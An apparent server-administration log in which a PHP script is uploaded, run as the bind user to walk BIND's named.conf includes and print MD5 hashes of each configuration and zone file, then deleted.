MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:21:54: Establishing a connection
2026-04-25 18:21:54: 

PUT: /tmp/pkp391095

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:21:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp391095; rm /tmp/pkp391095'

2026-04-25 18:21:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
